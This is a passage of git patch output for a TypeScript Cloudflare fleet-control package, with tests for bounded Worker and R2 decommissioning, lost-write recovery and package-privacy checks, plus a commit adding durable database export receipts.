=> + record.decommissionIntent?.state === 'discover' && + record.decommissionIntent.purpose.kind === + 'application-r2-detach' && + record.decommissionIntent.purpose.resourceIndex === 1, + ); + if (mode === 'verify') { + current = await continueBoundedDecommission(hostile, current); + } else if (mode === 'restart') { + hostile.backend.scanResults.push({ + status: 'attached', + attachment: { plane: 'ordinary', scriptName: 'consumer' }, + providerFetchAttemptsReserved: 3, + }); + current = await continueBoundedDecommission(hostile, current); + expect(current.status).toBe('blocked'); + } + const resources = hostile.store.record?.applicationResources; + const prefix = resources?.[0]; + if (!prefix || !resources?.[1]) { + throw new Error('missing hostile prefix resources'); + } + const { creationDate: _creationDate, ...reservation } = prefix; + hostile.store.record = { + ...(hostile.store.record as FleetRecord), + applicationResources: [ + { ...reservation, state }, + ...resources.slice(1), + ], + }; + const findImplementation = hostile.backend.findApplicationR2Bucket; + const scanImplementation = + hostile.backend.advanceDecommissionAttachmentScan; + let findReads = 0; + let scanReads = 0; + Object.defineProperties(hostile.backend, { + findApplicationR2Bucket: { + configurable: true, + get() { + findReads += 1; + return findImplementation; + }, + }, + advanceDecommissionAttachmentScan: { + configurable: true, + get() { + scanReads += 1; + return scanImplementation; + }, + }, + }); + const before = JSON.stringify(hostile.store.record); + const findCalls = hostile.backend.r2FindCalls; + const scanCalls = hostile.backend.scanInputs.length; + const emptyCalls = hostile.backend.emptyChecks; + const deleteCalls = hostile.backend.deleteCalls; + const writes = hostile.store.phases.length; + const events = [...hostile.backend.events]; + const attempt = + mode === 'restart' + ? advanceDecommissionDeployment( + boundedAdvanceOptions(hostile, { + kind: 'restart-blocked', + token: current.token, + }), + ) + : continueBoundedDecommission(hostile, current); + await expect(attempt, `${state}:${mode}`).rejects.toThrow( + 'normal decommission cannot consume incomplete application R2 reservation', + ); + expect(JSON.stringify(hostile.store.record), `${state}:${mode}`).toBe( + before, + ); + expect(findReads, `${state}:${mode}:find getter`).toBe(0); + expect(scanReads, `${state}:${mode}:scan getter`).toBe(0); + expect(hostile.backend.r2FindCalls, `${state}:${mode}`).toBe(findCalls); + expect(hostile.backend.scanInputs, `${state}:${mode}`).toHaveLength( + scanCalls, + ); + expect(hostile.backend.emptyChecks, `${state}:${mode}`).toBe( + emptyCalls, + ); + expect(hostile.backend.deleteCalls, `${state}:${mode}`).toBe( + deleteCalls, + ); + expect(hostile.store.phases, `${state}:${mode}`).toHaveLength(writes); + expect(hostile.backend.events, `${state}:${mode}`).toEqual(events); + } + } + }); + + it('atomically consumes plain and WFP migration carriers while preserving snapshots', async () => { + for (const kind of ['plain-worker', 'workers-for-platforms'] as const) { + const harness = await boundedDecommissionHarness({ kind }); + const record = harness.store.record as FleetRecord; + const targetDigest = deploymentSpecDigest(harness.deployment); + const oldDigest = 'f'.repeat(64); + const activeRelease: ExternalReleaseSnapshot = { + physicalScriptName: record.scriptName, + specDigest: oldDigest, + artifactVersion: 'artifact-old', + releaseSchemaVersion: record.schemaVersion, + application: record.applicationBindings, + }; + const pendingRelease: ExternalReleaseSnapshot = { + physicalScriptName: + kind === 'plain-worker' + ? record.scriptName + : `${record.scriptName}-next`, + specDigest: targetDigest, + artifactVersion: 'artifact-next', + releaseSchemaVersion: harness.deployment.schemaVersion, + application: record.applicationBindings, + }; + harness.store.record = { + ...record, + phase: 'migrating', + desiredSpecDigest: oldDigest, + activeRelease, + ...(kind === 'plain-worker' + ? { + pendingSpecDigest: targetDigest, + pendingArtifactVersion: pendingRelease.artifactVersion, + } + : { + pendingSpecDigest: targetDigest, + pendingRelease, + migrationPriorRelease: activeRelease, + migrationIntent: { + targetSpecDigest: targetDigest, + priorRelease: activeRelease, + priorTarget: record.platformTarget as never, + priorOutboundPolicy: record.outboundPolicy as never, + targetRelease: pendingRelease, + target: record.platformTarget as never, + subphase: 'route-published', + }, + }), + }; + const started = await startBoundedDecommission(harness); + await continueBoundedDecommission(harness, started); + expect(harness.store.record).toMatchObject({ + desiredSpecDigest: targetDigest, + activeRelease, + pendingRelease, + decommissionIntent: { + lifecyclePhase: 'decommissioning', + identity: { mode: { entryLifecyclePhase: 'migrating' } }, + }, + }); + expect(harness.store.record).not.toHaveProperty('pendingSpecDigest'); + expect(harness.store.record).not.toHaveProperty('pendingArtifactVersion'); + expect(harness.store.record).not.toHaveProperty('migrationIntent'); + } + + const withoutArtifact = await boundedDecommissionHarness({ + kind: 'plain-worker', + }); + const source = withoutArtifact.store.record as FleetRecord; + const targetDigest = deploymentSpecDigest(withoutArtifact.deployment); + const activeRelease: ExternalReleaseSnapshot = { + physicalScriptName: source.scriptName, + specDigest: 'e'.repeat(64), + artifactVersion: 'artifact-old', + releaseSchemaVersion: source.schemaVersion, + application: source.applicationBindings, + }; + withoutArtifact.store.record = { + ...source, + phase: 'migrating', + desiredSpecDigest: activeRelease.specDigest, + pendingSpecDigest: targetDigest, + activeRelease, + }; + const started = await startBoundedDecommission(withoutArtifact); + await continueBoundedDecommission(withoutArtifact, started); + expect(withoutArtifact.store.record).toMatchObject({ + desiredSpecDigest: targetDigest, + activeRelease, + }); + expect(withoutArtifact.store.record).not.toHaveProperty('pendingRelease'); + expect(withoutArtifact.store.record).not.toHaveProperty( + 'pendingSpecDigest', + ); + }); }); diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index d5afc0c4..d3ad7b44 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -19,6 +19,33 @@ interface ProbeError { readonly errors?: readonly ProbeError[]; } +interface BoundedDecommissionProbe { + readonly result: { + readonly status: 'pending' | 'blocked' | 'complete'; + readonly token: { + readonly version: 1; + readonly tenantTag: string; + readonly environment: string; + readonly operationId: string; + readonly revision: number; + }; + }; + readonly trace: string[]; + readonly phase: string; + readonly lifecyclePhase: string; + readonly intentState: string; + readonly revision: number; + readonly generation: number; + readonly resourceStates: string[]; + readonly bucketName: string; + readonly lostWriteCount: number; + readonly claims: Array<{ + readonly resourceType: string; + readonly resourceName: string; + readonly resourceRole: string; + }>; +} + function harnessOptions() { return { root: ROOT, @@ -58,11 +85,14 @@ describe.sequential('D1FleetStateStore Wrangler harness', { await server.close(); }, 30_000); - async function probe(action: string): Promise { + async function probe(action: string, input?: unknown): Promise { const response = await worker.fetch('/fleet-state', { method: 'POST', headers: { 'content-type': 'application/json' }, - body: JSON.stringify({ action }), + body: JSON.stringify({ + action, + ...(input === undefined ? {} : { input }), + }), }); const body = (await response.json()) as T | { error: ProbeError }; if (!response.ok) { @@ -279,6 +309,216 @@ describe.sequential('D1FleetStateStore Wrangler harness', { }); }); + it('persists one bounded R2 step per Worker request through two-pass detach and deletion', async () => { + const step = ( + operation: Readonly< + { kind: 'start' } | { kind: 'continue'; token: unknown } + >, + ) => + probe('bounded-decommission-step', { + tenantTag: 'advance', + operation, + }); + const results: BoundedDecommissionProbe[] = []; + results.push(await step({ kind: 'start' })); + for (let index = 0; index < 8; index += 1) { + results.push( + await step({ + kind: 'continue', + token: results.at(-1)?.result.token, + }), + ); + } + const boundary = await step({ + kind: 'continue', + token: results.at(-1)?.result.token, + }); + + expect( + results.map((result) => ({ + revision: result.revision, + generation: result.generation, + lifecyclePhase: result.lifecyclePhase, + intentState: result.intentState, + resourceState: result.resourceStates[0], + trace: result.trace, + })), + ).toEqual([ + { + revision: 0, + generation: 0, + lifecyclePhase: 'application-resources-deleting', + intentState: 'transitioning', + resourceState: 'created', + trace: [], + }, + { + revision: 1, + generation: 1, + lifecyclePhase: 'application-resources-deleting', + intentState: 'discover', + resourceState: 'detach-authorized', + trace: ['r2-find'], + }, + { + revision: 2, + generation: 1, + lifecyclePhase: 'application-resources-deleting', + intentState: 'verify', + resourceState: 'detach-authorized', + trace: ['r2-find', 'scan:discover'], + }, + { + revision: 3, + generation: 1, + lifecyclePhase: 'application-resources-deleting', + intentState: 'transitioning', + resourceState: 'detached', + trace: ['r2-find', 'scan:verify'], + }, + { + revision: 4, + generation: 1, + lifecyclePhase: 'application-resources-deleting', + intentState: 'transitioning', + resourceState: 'empty-authorized', + trace: ['r2-find'], + }, + { + revision: 5, + generation: 1, + lifecyclePhase: 'application-resources-deleting', + intentState: 'transitioning', + resourceState: 'empty', + trace: ['r2-find', 'r2-empty'], + }, + { + revision: 6, + generation: 1, + lifecyclePhase: 'application-resources-deleting', + intentState: 'transitioning', + resourceState: 'delete-authorized', + trace: [], + }, + { + revision: 7, + generation: 1, + lifecyclePhase: 'application-resources-deleting', + intentState: 'transitioning', + resourceState: 'deleted', + trace: ['r2-find', 'r2-delete', 'r2-find'], + }, + { + revision: 8, + generation: 1, + lifecyclePhase: 'application-resources-deleted', + intentState: 'transitioning', + resourceState: 'deleted', + trace: ['r2-find'], + }, + ]); + expect(boundary).toMatchObject({ + result: { status: 'pending', token: results.at(-1)?.result.token }, + trace: [], + phase: 'decommission-advancing', + lifecyclePhase: 'application-resources-deleted', + intentState: 'transitioning', + revision: 8, + generation: 1, + resourceStates: ['deleted'], + }); + + const expectedClaims = [ + { + resourceType: 'r2-bucket', + resourceName: results[0]?.bucketName, + resourceRole: 'deployment-r2', + }, + { + resourceType: 'worker-script', + resourceName: 'advance-worker', + resourceRole: 'deployment-worker', + }, + ]; + for (const result of [...results, boundary]) { + expect(result.result.status).toBe('pending'); + expect(result.phase).toBe('decommission-advancing'); + expect(result.claims).toEqual(expectedClaims); + expect(result.lostWriteCount).toBe(0); + } + }); + + it('converges a lost coordinator write and makes the replayed token stale in real D1', async () => { + const step = ( + operation: Readonly< + { kind: 'start' } | { kind: 'continue'; token: unknown } + >, + loseWrite = false, + ) => + probe('bounded-decommission-step', { + tenantTag: 'advancelost', + operation, + ...(loseWrite ? { loseWrite } : {}), + }); + const started = await step({ kind: 'start' }); + const discover = await step({ + kind: 'continue', + token: started.result.token, + }); + const verify = await step( + { kind: 'continue', token: discover.result.token }, + true, + ); + const replay = await step({ + kind: 'continue', + token: discover.result.token, + }); + + expect(verify).toMatchObject({ + result: { + status: 'pending', + token: { + version: 1, + tenantTag: 'advancelost', + environment: 'production', + operationId: '00000000-0000-4000-8000-000000000102', + revision: 2, + }, + }, + trace: ['r2-find', 'scan:discover'], + phase: 'decommission-advancing', + lifecyclePhase: 'application-resources-deleting', + intentState: 'verify', + revision: 2, + generation: 1, + resourceStates: ['detach-authorized'], + lostWriteCount: 1, + }); + expect(replay).toMatchObject({ + result: { status: 'pending', token: verify.result.token }, + trace: [], + phase: 'decommission-advancing', + lifecyclePhase: 'application-resources-deleting', + intentState: 'verify', + revision: 2, + generation: 1, + resourceStates: ['detach-authorized'], + lostWriteCount: 0, + }); + expect(replay.claims).toEqual([ + { + resourceType: 'r2-bucket', + resourceName: verify.bucketName, + resourceRole: 'deployment-r2', + }, + { + resourceType: 'worker-script', + resourceName: 'advancelost-worker', + resourceRole: 'deployment-worker', + }, + ]); + }); + it('preserves operation, heartbeat, and release errors for both lease types', async () => { const result = await probe<{ deployment: ProbeError; diff --git a/packages/fleet-control/test/worker-attachment-scan.test.ts b/packages/fleet-control/test/worker-attachment-scan.test.ts index a518b9a1..b6874e1f 100644 --- a/packages/fleet-control/test/worker-attachment-scan.test.ts +++ b/packages/fleet-control/test/worker-attachment-scan.test.ts @@ -24,6 +24,7 @@ import { type WorkerAttachmentScanTarget, } from '../src/cloudflare-worker-attachment-scan.js'; import { + assertWorkerAttachmentProviderRequestBudget, initialWorkerAttachmentScan as initialWorkerAttachmentScanFromState, parseWorkerAttachmentScanProgress as parseWorkerAttachmentScanProgressFromState, type WorkerAttachment as StateWorkerAttachment, @@ -560,6 +561,9 @@ describe('Cloudflare Worker attachment scan', () => { }); const subject = client(fixture.fetch); for (const invalidBudget of [8, 1_001, 9.5]) { + expect(() => + assertWorkerAttachmentProviderRequestBudget(invalidBudget), + ).toThrow('maxProviderRequests must be an integer from 9 to 1000'); const requestCount = fixture.requests.length; let budgetError: unknown; try { @@ -577,6 +581,10 @@ describe('Cloudflare Worker attachment scan', () => { ); expect(fixture.requests).toHaveLength(requestCount); } + expect(() => assertWorkerAttachmentProviderRequestBudget(9)).not.toThrow(); + expect(() => + assertWorkerAttachmentProviderRequestBudget(1_000), + ).not.toThrow(); const result = await drain(subject, D1_TARGET, { budget: 9 }); expect(result.terminal.status).toBe('complete'); expect(rawAttempts).toBe(3); diff --git a/packages/fleet-control/test/workers-for-platforms-backend.test.ts b/packages/fleet-control/test/workers-for-platforms-backend.test.ts index 03c6996c..09f4da0c 100644 --- a/packages/fleet-control/test/workers-for-platforms-backend.test.ts +++ b/packages/fleet-control/test/workers-for-platforms-backend.test.ts @@ -44,6 +44,7 @@ import { type WorkersForPlatformsApi, WorkersForPlatformsBackend, } from '../src/workers-for-platforms-backend.js'; +import { decommissionAdvancingRecordFixture } from './fixtures/decommission-intent-fixture.js'; const deployment: DeploymentSpec = { tenantTag: 'acme', @@ -1964,6 +1965,7 @@ describe('WorkersForPlatformsBackend', () => { }, ); + let teardownRecord = record; if (liveVariant === 'provider-committed') { await backend.ensurePlatformResources( targetSpec, @@ -1973,18 +1975,68 @@ describe('WorkersForPlatformsBackend', () => { record, fence, ); + const { + migrationIntent: _migrationIntent, + pendingSpecDigest: _pendingSpecDigest, + pendingArtifactVersion: _pendingArtifactVersion, + ...withoutCarrier + } = record; + teardownRecord = decommissionAdvancingRecordFixture( + { + ...withoutCarrier, + desiredSpecDigest: targetRelease.specDigest, + }, + 'worker-deleted', + { + requestedSpecDigest: targetRelease.specDigest, + entryLifecyclePhase: 'migrating', + }, + ); + const teardownIntent = teardownRecord.decommissionIntent; + if (!teardownIntent || teardownIntent.state === 'complete') { + throw new Error('missing active decommission recovery marker'); + } + const wrongMarker: FleetRecord = { + ...teardownRecord, + decommissionIntent: { + ...teardownIntent, + identity: { + ...teardownIntent.identity, + mode: { + kind: 'normal', + requestedSpecDigest: targetRelease.specDigest, + entryLifecyclePhase: 'ready', + }, + }, + }, + }; + client.calls.length = 0; + await expect( + backend.revokePlatformResourceCredentials( + targetSpec, + wrongMarker, + database, + fence, + ), + ).rejects.toThrow(/drifted state Worker/u); + expect(client.calls).not.toContain('revoke'); } await expect( backend.revokePlatformResourceCredentials( targetSpec, - record, + teardownRecord, database, fence, ), ).resolves.toBeUndefined(); await expect( - backend.deletePlatformResources(targetSpec, record, database, fence), + backend.deletePlatformResources( + targetSpec, + teardownRecord, + database, + fence, + ), ).resolves.toBeUndefined(); expect(client.dispatchWorkers.size).toBe(0); if (liveVariant === 'provider-committed') { diff --git a/scripts/architecture-fixtures/decommission-advance-imports-provider.ts b/scripts/architecture-fixtures/decommission-advance-imports-provider.ts new file mode 100644 index 00000000..076b150a --- /dev/null +++ b/scripts/architecture-fixtures/decommission-advance-imports-provider.ts @@ -0,0 +1 @@ +import '../../packages/fleet-control/src/cloudflare-client.js'; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index 241e102f..f61b3389 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -44,6 +44,8 @@ const controls = { 'scripts/architecture-fixtures/fleet-control-leaf-imports-client.ts', 'fleet-control-decommission-state-does-not-reach-provider': 'scripts/architecture-fixtures/decommission-state-imports-provider.ts', + 'fleet-control-decommission-advance-is-transport-neutral': + 'scripts/architecture-fixtures/decommission-advance-imports-provider.ts', 'fleet-control-strict-plain-data-is-import-free': 'scripts/architecture-fixtures/decommission-state-imports-provider.ts', 'fleet-control-ports-do-not-reach-d1-adapter': @@ -112,6 +114,19 @@ for (const [ruleName, fixture] of Object.entries(controls)) { 'decommission state control did not reject a direct Cloudflare SDK import', ); } + if ( + ruleName === 'fleet-control-decommission-advance-is-transport-neutral' + ) { + assert.deepEqual([...new Set(violations)], [ruleName]); + assert.ok( + report.summary.violations.some( + (violation) => + violation.rule.name === ruleName && + violation.to === 'packages/fleet-control/src/cloudflare-client.ts', + ), + 'decommission advance control did not reject the provider client', + ); + } if (ruleName === 'fleet-control-strict-plain-data-is-import-free') { for (const target of ['cloudflare', 'crypto']) { assert.ok( From 3dea0bfe7246ebd638cd857543018bba1755e23f Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 30 Aug 2026 06:05:08 +0400 Subject: [PATCH 033/169] refactor(fleet-control): clarify decommission advance state --- packages/fleet-control/src/application-bindings.ts | 6 +----- packages/fleet-control/src/decommission-advance.ts | 8 +++++--- packages/fleet-control/test/application-bindings.test.ts | 2 +- 3 files changed, 7 insertions(+), 9 deletions(-) diff --git a/packages/fleet-control/src/application-bindings.ts b/packages/fleet-control/src/application-bindings.ts index b26f83ac..f5e4b4da 100644 --- a/packages/fleet-control/src/application-bindings.ts +++ b/packages/fleet-control/src/application-bindings.ts @@ -893,11 +893,7 @@ export async function convergeApplicationR2Deletion(options: { resources = [...result.resources]; await options.persist(resources); - if ( - ['reserved', 'deleted'].includes( - resources[result.resourceIndex]?.state ?? '', - ) - ) { + if (resources[result.resourceIndex]?.state === 'deleted') { startResourceIndex = result.resourceIndex + 1; } else { startResourceIndex = result.resourceIndex; diff --git a/packages/fleet-control/src/decommission-advance.ts b/packages/fleet-control/src/decommission-advance.ts index cdf26c9b..4c838b8b 100644 --- a/packages/fleet-control/src/decommission-advance.ts +++ b/packages/fleet-control/src/decommission-advance.ts @@ -90,7 +90,7 @@ export interface AdvanceDecommissionDeploymentOptions { readonly spec: DeploymentSpec; /** Typed command; its token remains an unknown strict-codec boundary. */ readonly action: DecommissionAdvanceAction; - /** R1 provider-attempt budget, integer 9..1,000. */ + /** Provider-fetch attempt budget for each bounded attachment scan, integer 9..1,000. */ readonly maxProviderRequests: number; /** Call-local cancellation, never persisted. */ readonly signal?: AbortSignal; @@ -1037,7 +1037,7 @@ async function advanceR2Transition( ): Promise { const resources = record.applicationResources ?? []; const actionableIndex = resources.findIndex( - (resource) => resource.state !== 'reserved' && resource.state !== 'deleted', + (resource) => resource.state !== 'deleted', ); const actionable = actionableIndex < 0 ? undefined : resources[actionableIndex]; @@ -1150,7 +1150,9 @@ async function advanceR2Scan( >, ): Promise { if (intent.purpose.kind !== 'application-r2-detach') { - throw new Error('R2b-A cannot consume a database attachment purpose'); + throw new Error( + 'application R2 attachment scanning cannot consume a database attachment purpose', + ); } const resource = record.applicationResources?.[intent.purpose.resourceIndex]; if (!resource) malformedResult(); diff --git a/packages/fleet-control/test/application-bindings.test.ts b/packages/fleet-control/test/application-bindings.test.ts index ab76324b..80437f9f 100644 --- a/packages/fleet-control/test/application-bindings.test.ts +++ b/packages/fleet-control/test/application-bindings.test.ts @@ -211,7 +211,7 @@ describe('application bindings', () => { ).toBe(false); }); - it('persists R2 authorization and reconciles lost create and delete responses', async () => { + it('validates, advances, and recovers the complete application R2 lifecycle matrix', async () => { const deployment = spec({ vars: [], secrets: [], From e31f39ca0b1e245a0460875cae52c3c8c2910cf7 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 30 Aug 2026 10:26:05 +0400 Subject: [PATCH 034/169] feat(fleet-control): add durable export receipts --- .../scripts/packed-consumer-test.mjs | 120 ++ ...flare-api-plain-worker-provisioning-api.ts | 61 +- .../fleet-control/src/cloudflare-client.ts | 110 +- .../src/database-export-store.ts | 264 ++++ packages/fleet-control/src/export-store.ts | 976 +++++++++++++- packages/fleet-control/src/index.ts | 2 + .../fleet-control/src/plain-worker-backend.ts | 37 + packages/fleet-control/src/r2-export-store.ts | 515 +++++++- packages/fleet-control/src/types.ts | 68 +- .../src/workers-for-platforms-backend.ts | 56 +- .../wrangler-plain-worker-provisioning-api.ts | 126 +- ...-api-plain-worker-provisioning-api.test.ts | 144 +++ .../cloudflare-client-plain-worker.test.ts | 348 +++++ .../fleet-control/test/export-store.test.ts | 1128 ++++++++++++++++- .../test/fixtures/r2-export-harness-probe.ts | 146 +++ .../test/plain-worker-backend.test.ts | 140 ++ .../test/r2-export-store.harness.test.ts | 47 + .../test/r2-export-store.test.ts | 821 +++++++++++- .../workers-for-platforms-backend.test.ts | 150 +++ ...gler-plain-worker-provisioning-api.test.ts | 281 ++++ 20 files changed, 5477 insertions(+), 63 deletions(-) diff --git a/packages/fleet-control/scripts/packed-consumer-test.mjs b/packages/fleet-control/scripts/packed-consumer-test.mjs index 87250c59..8063d6b6 100644 --- a/packages/fleet-control/scripts/packed-consumer-test.mjs +++ b/packages/fleet-control/scripts/packed-consumer-test.mjs @@ -191,6 +191,7 @@ try { DecommissionAdvanceTokenFutureError, DecommissionAdvanceTokenOperationError, D1CloudflareApiRateCoordinator, + FileSystemDatabaseExportStore, PlainWorkerBackend, ProcessLocalCloudflareApiRateCoordinator, ProvisioningError, @@ -232,6 +233,11 @@ try { type DecommissionOperationIdentity, type DecommissionOperationMode, type DecommissionRecordIdentity, + type DatabaseExport, + type DatabaseExportIntegrity, + type DatabaseExportReceiptIdentity, + type DurableDatabaseExportStore, + type ExternalMutationFence, type FleetRecord, type FleetStateStore, type FleetSettlementContext, @@ -304,6 +310,32 @@ import { assertImmutableDeploymentMapping } from '@proofoftech/fleet-control'; import { reconcilePersistedDatabase } from '@proofoftech/fleet-control'; // @ts-expect-error intent codec errors are package-private. import { DecommissionAdvanceIntentError } from '@proofoftech/fleet-control'; +// @ts-expect-error receipt capability capture is package-private. +import { captureDatabaseExportReceiptCapability } from '@proofoftech/fleet-control'; +// @ts-expect-error receipt authority normalization is package-private. +import { databaseExportReceiptAuthorityFromUnknown } from '@proofoftech/fleet-control'; +// @ts-expect-error receipt identity normalization is package-private. +import { databaseExportReceiptIdentityFromUnknown } from '@proofoftech/fleet-control'; +// @ts-expect-error receipt integrity normalization is package-private. +import { databaseExportIntegrityFromUnknown } from '@proofoftech/fleet-control'; +// @ts-expect-error native receipt integrity capture is package-private. +import { captureDatabaseExportIntegrityPromise } from '@proofoftech/fleet-control'; +// @ts-expect-error receipt body cancellation is package-private. +import { cancelBodyWithoutAwait } from '@proofoftech/fleet-control'; +// @ts-expect-error tagged receipt errors are package-private. +import { databaseExportReceiptError } from '@proofoftech/fleet-control'; +// @ts-expect-error the receipt-error classifier is package-private. +import { isDatabaseExportReceiptError } from '@proofoftech/fleet-control'; +// @ts-expect-error captured receipt capabilities are package-private. +import type { CapturedDatabaseExportReceiptCapability } from '@proofoftech/fleet-control'; +// @ts-expect-error filesystem receipt primitives are package-private. +import type { FileSystemDatabaseExportStoreReceiptPrimitives } from '@proofoftech/fleet-control'; +// @ts-expect-error filesystem receipt overrides are package-private. +import type { FileSystemDatabaseExportStoreReceiptPrimitiveOverrides } from '@proofoftech/fleet-control'; +// @ts-expect-error the filesystem publication seam is package-private. +import { createFileSystemDatabaseExportStoreWithReceiptPrimitives } from '@proofoftech/fleet-control'; +// @ts-expect-error the R2 implementation remains a deep-only adapter. +import { R2DatabaseExportStore } from '@proofoftech/fleet-control'; import type { FleetDispatchEnv } from '@proofoftech/fleet-control/workers/dispatch'; import { createEgressProxyFetch, @@ -338,6 +370,33 @@ declare const decommissionRecordIdentity: DecommissionRecordIdentity; declare const decommissionPhase: NormalDecommissionLifecyclePhase; declare const plainWorkerRouteApi: PlainWorkerRouteApi; declare const plainWorkerProvisioningApiShape: PlainWorkerProvisioningApi; +declare const receiptFence: ExternalMutationFence; +const databaseExportIntegrity: DatabaseExportIntegrity = { + size: 1, + sha256: 'a'.repeat(64), +}; +const databaseExportReceiptIdentity: DatabaseExportReceiptIdentity = { + version: 1, + authority: 'memory://fleet-exports/receipts/v1', + databaseId: '00000000-0000-0000-0000-000000000001', + operationId: '00000000-0000-4000-8000-000000000002', +}; +const legacyExportStore: DurableDatabaseExportStore = { + async write() { + return { location: 'memory://legacy', ...databaseExportIntegrity }; + }, +}; +const receiptExportStore: DurableDatabaseExportStore = { + ...legacyExportStore, + receiptAuthority: databaseExportReceiptIdentity.authority, + async writeReceipt() { + return { location: 'memory://receipt', ...databaseExportIntegrity }; + }, +}; +const storeReceiptAuthority: string | undefined = + receiptExportStore.receiptAuthority; +const storeReceiptWrite: DurableDatabaseExportStore['writeReceipt'] = + receiptExportStore.writeReceipt; const plainWorkerBackendOptions: PlainWorkerBackendOptions = { api: plainWorkerProvisioningApiShape, identityCaller: 'PackedConsumer.seedDeploymentIdentity', @@ -356,6 +415,32 @@ const directBackendOptions: CloudflareApiPlainWorkerBackendOptions = { }; const directBackend: ProvisioningBackend = new CloudflareApiPlainWorkerBackend(directBackendOptions); +const directReceiptAuthority: string | undefined = + directClient.databaseExportReceiptAuthority; +const directReceiptExport: + | ((identity: DatabaseExportReceiptIdentity) => Promise) + | undefined = directClient.exportDatabaseReceipt; +const plainReceiptAuthority: string | undefined = + plainWorkerProvisioningApiShape.databaseExportReceiptAuthority; +const plainReceiptExport: + | (( + identity: DatabaseExportReceiptIdentity, + fence: ExternalMutationFence, + ) => Promise) + | undefined = plainWorkerProvisioningApiShape.exportDatabaseReceipt; +const wfpReceiptAuthority: string | undefined = + api.databaseExportReceiptAuthority; +const wfpReceiptExport: + | ((identity: DatabaseExportReceiptIdentity) => Promise) + | undefined = api.exportDatabaseReceipt; +const backendReceiptAuthority: string | undefined = + provisioningBackend.databaseExportReceiptAuthority; +const backendReceiptExport: + | (( + identity: DatabaseExportReceiptIdentity, + fence: ExternalMutationFence, + ) => Promise) + | undefined = provisioningBackend.exportDatabaseReceipt; const decommissionScanResults: readonly DecommissionAttachmentScanResult[] = [ { status: 'pending', @@ -518,6 +603,21 @@ void [ decommissionAdvanceOptions, decommissionAdvanceResults, boundedDecommissionAdvance, + databaseExportIntegrity, + databaseExportReceiptIdentity, + legacyExportStore, + receiptExportStore, + storeReceiptAuthority, + storeReceiptWrite, + receiptFence, + directReceiptAuthority, + directReceiptExport, + plainReceiptAuthority, + plainReceiptExport, + wfpReceiptAuthority, + wfpReceiptExport, + backendReceiptAuthority, + backendReceiptExport, ]; const customDomain: PlainWorkerCustomDomain = { id: 'domain-id', @@ -548,6 +648,7 @@ void ActiveRouteAttestationError; void CloudflareApiPlainWorkerBackend; void CloudflareProvisioningClient; void D1CloudflareApiRateCoordinator; +void FileSystemDatabaseExportStore; void PlainWorkerBackend; void ProcessLocalCloudflareApiRateCoordinator; void ProvisioningError; @@ -612,6 +713,7 @@ import { DecommissionAdvanceTokenFutureError, DecommissionAdvanceTokenOperationError, ProcessLocalCloudflareApiRateCoordinator, + FileSystemDatabaseExportStore, ProvisioningError, WorkersForPlatformsBackend, advanceDecommissionDeployment, @@ -672,6 +774,24 @@ assert.equal( .advanceDecommissionAttachmentScan, 'function', ); +const legacyClient = new CloudflareProvisioningClient({ + accountId: 'a', + apiToken: 't', + plane: 'plain-worker', + rateCoordinator: new ProcessLocalCloudflareApiRateCoordinator(), + exportStore: { + async write() { + return { location: 'memory://legacy', size: 1, sha256: 'a'.repeat(64) }; + }, + }, +}); +assert.equal('databaseExportReceiptAuthority' in legacyClient, false); +assert.equal('exportDatabaseReceipt' in legacyClient, false); +const fileStore = new FileSystemDatabaseExportStore('/tmp/fleet-control-packed-receipts'); +if (process.platform !== 'win32') { + assert.equal(typeof fileStore.receiptAuthority, 'string'); + assert.equal(typeof fileStore.writeReceipt, 'function'); +} assert.throws( () => new CloudflareProvisioningClient({ diff --git a/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts b/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts index a170dad2..f2f57ce7 100644 --- a/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts +++ b/packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts @@ -5,7 +5,12 @@ import { type CloudflareProvisioningClient, withProviderDispatchTracking, } from './cloudflare-client.js'; +import { + captureDatabaseExportReceiptCapability, + databaseExportReceiptIdentityFromUnknown, +} from './database-export-store.js'; import type { + DatabaseExportReceiptIdentity, DatabaseReference, ExternalMutationFence, OrdinaryWorkerDeploymentVersion, @@ -23,6 +28,13 @@ import type { export class CloudflareApiPlainWorkerProvisioningApi implements PlainWorkerProvisioningApi { + /** Canonical immutable receipt authority, present only with receipt export. */ + declare readonly databaseExportReceiptAuthority?: string; + /** Forwards an exact operation receipt under the supplied mutation fence. */ + declare readonly exportDatabaseReceipt?: ( + identity: DatabaseExportReceiptIdentity, + fence: ExternalMutationFence, + ) => Promise; readonly #client: CloudflareProvisioningClient; readonly maxMutationDurationMs: number; readonly supportsExactDatabaseDeletion = true; @@ -44,19 +56,44 @@ export class CloudflareApiPlainWorkerProvisioningApi >; constructor(options: { readonly client: CloudflareProvisioningClient }) { - this.#client = options.client; - this.maxMutationDurationMs = options.client.requestTimeoutMs; - this.advanceDecommissionAttachmentScan = - options.client.advanceDecommissionAttachmentScan.bind(options.client); - this.listWorkerR2Attachments = options.client.listWorkerR2Attachments.bind( - options.client, + const client = options.client; + this.#client = client; + const receiptCapability = captureDatabaseExportReceiptCapability( + client, + () => [ + client.databaseExportReceiptAuthority, + client.exportDatabaseReceipt, + ], ); - this.getR2Bucket = options.client.getR2Bucket.bind(options.client); - this.createR2Bucket = options.client.createR2Bucket.bind(options.client); - this.assertR2BucketEmpty = options.client.assertR2BucketEmpty.bind( - options.client, - ); - this.deleteR2Bucket = options.client.deleteR2Bucket.bind(options.client); + if (receiptCapability) { + const exportDatabaseReceipt = receiptCapability.method as NonNullable< + CloudflareProvisioningClient['exportDatabaseReceipt'] + >; + this.databaseExportReceiptAuthority = receiptCapability.authority; + this.exportDatabaseReceipt = async (identity, fence) => { + const canonical = databaseExportReceiptIdentityFromUnknown( + identity, + receiptCapability.authority, + ); + await fence.assertOwned(); + const exported = await this.#client.withMutationFence(fence, () => + exportDatabaseReceipt(canonical), + ); + return { + location: exported.location, + size: 